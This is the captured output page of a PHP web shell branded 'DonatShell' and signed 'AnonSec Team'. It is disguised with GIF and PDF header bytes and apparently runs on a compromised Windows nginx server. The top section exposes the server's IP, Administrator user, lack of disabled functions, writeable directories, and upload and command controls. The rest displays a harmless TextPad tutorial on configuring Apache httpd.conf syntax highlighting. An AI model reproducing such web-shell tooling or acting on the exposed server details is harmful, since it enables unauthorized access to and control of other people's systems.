GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/Setup/TextPad/Apache/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/Setup/TextPad/Apache/TextpadApacheDocumentClassSetup.phpinc
<?
// /JimMartinson/Setup/Textpad/TextpadApacheDocumentClassSetup.phpinc
$title = "Textpad Apache Document Class Setup";
$headTitle = '_CST_ - '.$title;
$pageTitle = '_CST_<br>'.$title;
include('common/pageHeader.phpinc');
$sectionTitle = $title;
include('common/sectionHeader.phpinc');
?>

<p class="center">
<a href="#Install">Install syntax file</a>
&nbsp;
<a href="#Shortcut">Create httpd.conf shortcut</a>
&nbsp;
<a href="#Config">Configure the conf document class</a>
</p>

<a name="Install">Install and configure the conf document class for httpd.conf:</a>
<ol class="instruction">
	<li><!-- 1 -->
		Download the <a href="Apache/apache22.syn">apache22.syn syntax file</a> and select <b>Save</b> if using Internet Explorer (IE) or  <b>Save File</b> if using Firefox (FF).
		<br>
		<img src="../Save_IE.jpg" width="404" height="269" alt="IE save" />
		<img src="../Save_Firefox.jpg" width="439" height="187" alt="Firefox save" />
	</li>
	<li><!-- 2 -->
		Save this file in the system folder of your TextPad installation.
		<br>
		(Windows Vista or 7: "C:\Program Files (x86)\TextPad 5\system")
		(Windows XP: "C:\Program Files\TextPad 5\system")
		<br>
		<img src="TextPad_system.png" width="863" height="328" alt="TextPad system folder" />
	</li>
	<li><!-- 3 -->
		Open TextPad and select <strong><u>Configure</u></strong> and <strong>New Document <u>C</u>lass...</strong> from the menu.
		<br><img src="Apache/03_Configure_NewDocumentClass.png" alt="Configure New Document Class">
	</li>
	<li><!-- 4 -->
		Enter <strong>conf</strong> as the Document class name and click Next.
		<br>
		<img src="Apache/04_DocumentClassName.png" alt="Document class name: conf">
	</li>
	<li><!-- 5 -->
		Enter <strong>*.conf</strong> as the Class members and click Next.
		<br>
		<img src="Apache/05_DocumentClassMembers.png" alt="Document class members *.conf">
	</li>
	<li><!-- 6 -->
		Click on <strong>Enable systax highlighting</strong>.
		<br>
		Select <strong>Apache22.syn</strong> from the Syntax definition file select box and click Next.
		<br>
		<img src="Apache/06_DocumentClassSyntaxFile.png" alt="Syntax file apache22.syn">
	</li>
	<li><!-- 7 -->
		Click Finish.
		<br>
		<img src="Apache/07_DocumentClassFinish.png" alt="Document class finish">
		<br>
		You are done with the basic conf Document Class configuration. You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window or continue on to setup a shortcut to your Apache httpd.conf file or changing the conf Document Class colors.
	</li>
</ol>

<a name="Shortcut">Create a shortcut to edit the Apache httpd.conf file:</a>
<ol class="instruction">
	<li><!-- 1 -->
		Make a copy of the TextPad shortcut
		<br>
		(Windows Vista or 7 the shortcut is in: <strong>Start</strong> <strong>All Programs</strong>)
		<br>
		(Windows XP the shortcut is in: <strong>Start</strong> <strong><u>P</u>rograms</strong>).
		<br>
		<img src="Apache/s1_TextPadShortcut.png" alt="TextPad shortcut">
	</li>
	<li><!-- 2 -->
		Right-click on the shortcut and select <strong>P<u>r</u>operties</strong>.
		<br>
		<img src="Apache/s2_TextPadShortcuProperties.png" alt="TextPad shortcut properties">
	</li>
	<li><!-- 3 -->
		Change the <strong>Target:</strong> on the Shortcut tab so it reads:
		<br>
		Windows Vista or 7: <strong>"C:\Program Files (x86)\TextPad 5\TextPad.exe" "<?=$_SESSION['userDefaultDrive']?>:\Apache22\conf\httpd.conf"</strong>
		<br>
		Windows XP: <strong>"C:\Program Files\TextPad 5\TextPad.exe" "<?=$_SESSION['userDefaultDrive']?>:\Apache22\conf\httpd.conf"</strong>
		<br>
		Change the <strong>Start in:</strong> so it reads:
		<br>
		<strong>D:\Apache22\conf\</strong>
		<br>
		<img src="Apache/s3_TextPadShortcutShortcut.png" alt="Textpad shortcut properties">
		<br>
		Switch to the <strong>General</strong> tab and rename the shortcut <strong>Edit httpd.conf</strong> and click OK.
		<br>
		<img src="Apache/s3_TextPadShortcutGeneral.png" alt="Textpad shortcut rename">
		<br>
		You are done creating the shortcut. You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window or continue on to change the conf Document Class colors.
	</li>
</ol>

<a name="Config">Change color and other settings for your conf Document Class:</a>
<ol class="instruction">
	<li><!-- 1 -->
		Open TextPad and select <strong><u>Configure</u></strong> and <strong><u>P</u>references</strong> from the menu.
		<br>
		<img src="Apache/c1_Configure_Preferences.png" alt="TextPad configure preferences">
	</li>
	<li><!-- 2 -->
		Expand the <strong>Document Classes</strong> and <strong>conf</strong> elements.
		<br>
		<img src="Apache/c2_Configure_Preferences_conf1.png" alt="conf element">
	</li> 
	<li><!-- 3 -->
		You can now change Color, Font, Printing, Syntax, and Tabulation settings.
		<br>
		Note my change of <strong>Comments 2</strong> to <div class="inline" style="color:#FF0000; background-color:#FFFF00">red text on a yellow background</div>.
		<br>
		<img src="Apache/c3_Configure_Preferences_conf2.png" alt="conf colors">
	</li>
</ol>

That's it for TextPad Apache Document Class, shortcut, and color setup. 
You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window.

Anon7 - 2022
AnonSec Team